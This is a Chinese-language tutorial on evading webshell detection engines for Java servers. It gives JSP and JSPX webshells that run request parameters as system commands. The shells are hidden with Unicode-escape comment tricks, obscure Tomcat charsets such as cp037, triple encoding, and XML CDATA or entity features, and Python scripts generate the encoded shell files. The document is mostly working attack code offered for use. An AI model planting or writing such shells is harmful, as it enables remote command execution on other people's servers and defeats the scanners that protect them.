webshell编码绕过(jsp)
unicode编码
Webshell检测引擎没有对其进行正确的解码处理
unicode编码或者\uuuuuuuuuuxxx混淆
能被编译,使用\uuuuuuxx的原因:
Javac/ecj在底层解析字符的时候支持Unicode编码
解析过程中只要‘\’的下一个字符是‘u’ 编译器就会一直继续循环,读取下一个字符
底层代码:

protected void convertUnicode() {
if (this.ch == '\\' && this.unicodeConversionBp != this.bp) {
++this.bp;
this.ch = this.buf[this.bp];
if (this.ch == 'u') {
do {
++this.bp;
this.ch = this.buf[this.bp];
} while(this.ch == 'u');
int var1 = this.bp + 3;
if (var1 < this.buflen) {
int var2 = this.digit(this.bp, 16);
int var3;
for(var3 = var2; this.bp < var1 && var2 >= 0; var3 = (var3 << 4) + var2) {
++this.bp;
this.ch = this.buf[this.bp];
var2 = this.digit(this.bp, 16);
}
if (var2 >= 0) {
this.ch = (char)var3;
this.unicodeConversionBp = this.bp;
return;
}
}
this.log.error(this.bp, "illegal.unicode.esc", new Object[0]);
} else {
--this.bp;
this.ch = '\\';
}
}
}
那如果检测引擎会进行Unicode解码,我们有什么方法可以绕过?
一个jsp被加载的过程是这样:
jsp----->.java------>.class

java编译时会先看是否转义,然后进行unicode解码,最后进一步编译
<%
Runtime.getRuntime().
//\\u000axxxxxx
exec(request.getParameter("test"));
%>
jsp检测引擎自动unicode解码检测
检测引擎解码后会编译失败,非法文件,但实际java编译时会对\转义,导致后面都成为注释,成为合法webshell
同理,jspx利用:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<jsp:scriptlet>
Runtime.getRuntime()
</jsp:scriptlet>
<!-- xxxx \u002D\u002D\u003E -->
<jsp:scriptlet>
.exec(request.getParameter("cmd"));
</jsp:scriptlet>
</jsp:root>
\u002D\u002D\u003E对应-->检测引擎中错误非法,但由于jspx被嵌入java模板<!-- ->注释中的内容不会被嵌入到模板中,因而就没有后续解码的过程。
jsp是否可以利用注释绕过
利用<%-- --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Runtime
%>
<%
.getRuntime()
%>
<%-- xxxxx\u002D\u002D\u0025\u003E --%>
<%
.exec(request.getParameter("test"));
%>
报错,因为jsp加载到模板会加载换行,<%标签之间的
Runtime
out.write('\r');
out.write('\n');
.getRuntime()
out.write('\r');
out.write('\n');
out.write('\r');
out.write('\n');
.exec(request.getParameter("test"));
去掉
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Runtime
%><%
.getRuntime()
%><%-- xxxxx\u002D\u002D\u0025\u003E --%><%
.exec(request.getParameter("cmd"));
%>
或者
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page trimDirectiveWhitespaces='true' %> //忽略换行和空格
<%
Runtime
%>
<%
.getRuntime()
%>
<%-- xxxxx\u002D\u002D\u0025\u003E --%>
<%
.exec(request.getParameter("cmd"));
%>
其它字符集编码绕过
除了unicode编码,tomcat内部支持多种小众编码,这些编码很可能引擎不支持,如果检测引擎不支持这些字符集,对其而言就是一堆无法识别的乱码
这里要说明一下Tomcat对文件编码的解析过程(底层先不做分析)
1.先看BOM头(前四个字节,标识文件编码),有BOM头按BOM解析

2.查看XML encoding声明的编码属性,若有,则对前面的声明进行覆盖
xml声名格式: <?xml version="1.0" encoding="utf-8" ?>
encoding声明内容编码
3.当无法根据前四个字节判断文本编码时,根据文本内容中的pageEncoding的值来决定最终编码
<%@ page contentType="charset=cp037" %>
<%@ page pageEncoding="cp037" %>
<jsp:directive.page contentType="charset=cp037"/>
<jsp:directive.page pageEncoding="cp037"/>
有了上面的逻辑,对于jspx,可以采用修改bom头,对内容进行编码,或者使用xml声明,对内容进行编码
修改BOM头:
123
xml声明:
charset="utf-8"
data="""
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("cmd"));
</jsp:scriptlet>
</jsp:root>
""".format(charset=charset)
fcp037 = open('cp037test.jspx','wb')
fcp037.write('<?xml version="1.0" encoding="cp037" ?>')
fcp037.write(data.encode('cp037'))
对于jsp,除上述方法外,在jsp中还可以通过标签来显式声明指定的编码,大大扩展了我们可利用编码的范围
#python2
charset="utf-8"
data="""<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>""".format(charset=charset)
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
常用的编码:
cp037 cp290 utf-16le utf-16be utf-32le utf-32be
同时java字符集支持别名,ibm290 ibm-290 csIBM290 EBCDIC-JP-kana 290等价cp290
这里注意一个问题,jsp只会在BOM头无法解析,xml声明被默认为utf-8时才会生效,这涉及到isBomPresent的值,只有两者都满足,它的值才会为false,才会进一步判断(底层先不分析)
三重编码
还是先进一步解释Tomcat的解析逻辑:
- tomcat对于jsp的解析分为编码声明和正文部分,两者在不同不同部分进行
- 每个部分只提取自己关心的内容
- xml声明,jsp页面指令,jsp body中的内容三者可以采用不同的编码表示,对上一级分析出来的内容再次获得编码
这里可以想一下,我们利用xml声明的编码方式,对jsp页面指令进行编码,再用jsp页面指令指定的方式对jsp body进行编码,进而实现了三重编码。
a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>'''
a2 = ''' <%@ page pageEncoding="UTF-16BE"%> '''
with open("three.jsp","wb") as f:
f.write(a0.encode("utf-8"))
f.write(a1.encode("utf-16be"))
f.write(a2.encode("cp037"))
xml特性
Tomcat在识别Jspx文件后,会调用XML解析器来解析标签
jspx识别script部分时会调用原生的xml解析库,在进行模板的嵌套,理论上xml特性都可以使用
可以利用XML字符串相关特性来实现绕过:HTML实体编码(hex、dec)、CDATA、...
CDATA 是不应该由 XML 解析器解析的文本数据。 "<" 和 "&" 字符非法
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:scriptlet> <![CDATA[Runti]]>me.getRuntime().exec(request.getParameter("test")); </jsp:scriptlet> </jsp:root>
实体化编码dec
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0"> <jsp:scriptlet> Runtime.getRuntime().exec(request.getParameter("cmd")); </jsp:scriptlet> </jsp:root>